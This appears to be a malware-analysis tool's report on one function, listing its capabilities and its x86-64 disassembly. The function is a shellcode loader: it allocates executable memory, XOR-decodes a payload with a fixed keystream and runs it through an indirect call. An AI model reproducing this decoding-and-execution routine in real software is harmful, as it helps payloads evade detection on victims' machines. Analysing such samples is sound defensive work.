Function at 0x1400343f1
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x158
mov r13, r8
mov r14, rdx
mov r15, rcx
mov eax, dword [rdx + 8]
test eax, 0x60000000
je 0x140034487
mov edx, dword [r14]
xor ebx, ebx
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r12, rax
mov edi, dword [r14]
test rdi, rdi
je 0x140034513
movsxd rcx, dword [r14 + 4]
add rcx, r15
lea rbp, [rdi - 1]
mov rdx, rdi
and rdx, 7
je 0x1400344b6
xor ebx, ebx
nop word cs:[rax + rax]
nop dword [rax]
movzx eax, byte [rcx + rbx]
mov byte [r12 + rbx], al
add rbx, 1
cmp rdx, rbx
jne 0x140034461
sub rdi, rbx
lea rdx, [r12 + rbx]
add rcx, rbx
cmp rbp, 7
jae 0x1400344bf
jmp 0x140034510
movsxd rcx, dword [r14 + 4]
add rcx, r15
mov ebp, dword [r14 + 0xc]
add rbp, rcx
xor r12d, r12d
test eax, eax
jns 0x14003466a
int3
mov rdx, r12
cmp rbp, 7
jb 0x140034510
xor ebp, ebp
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp rdi, rbp
jne 0x1400344c1
mov ebx, dword [r14]
mov r8d, dword [r13 + 0xc]
mov rcx, r12
mov rdx, rbx
call fcn.1400346b1
mov ebp, dword [r12 + 4]
test rbp, rbp
je 0x140034654
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r13
mov r14d, dword [r13 + 0xc]
lea rax, [r12 + 8]
mov qword [rsp + 0x48], rax
mov eax, dword [r12]
mov qword [rsp + 0x40], rax
add eax, 0x100
mov dword [rsp + 0x24], eax
xor r13d, r13d
lea rbx, [rsp + 0x50]
xor r15d, r15d
nop dword [rax]
mov esi, r13d
add rsi, qword [rsp + 0x48]
imul r14d, r14d, 0x18d517
xor r14d, 0x352e09df
movzx edi, r14b
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1400342d1
lea rcx, [rsp + rdi]
add rcx, 0x50
add rsi, qword [rsp + 0x40]
add rsi, rdi
mov r8d, 0x100
sub r8d, edi
mov rdx, rsi
call fcn.1400342d1
mov ecx, r15d
add rcx, r12
mov r8d, 0x100
mov rdx, rbx
call fcn.1400342d1
add r15d, 0x100
add r13d, dword [rsp + 0x24]
cmp r15d, ebp
jb 0x140034571
mov r13, qword [rsp + 0x38]
mov ecx, dword [r13 + 0xc]
cmp ebp, 1
jne 0x1400345fb
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
jmp 0x14003463b
mov edx, ebp
and edx, 0xfffffffe
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
nop dword [rax + rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x140034611
test bpl, 1
je 0x140034654
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r12 + rax]
xor dl, 0xdf
mov byte [r12 + rax], dl
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
mov rbp, r12
add rbp, rcx
test eax, eax
js 0x1400344a0
call rbp
mov ebx, eax
mov eax, 0x60000000
and eax, dword [r14 + 8]
cmp eax, 0x20000000
jne 0x14003468e
mov rcx, r12
xor edx, edx
mov r8d, 0x8000
call sub.KERNEL32.dll_VirtualFree
mov eax, ebx
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret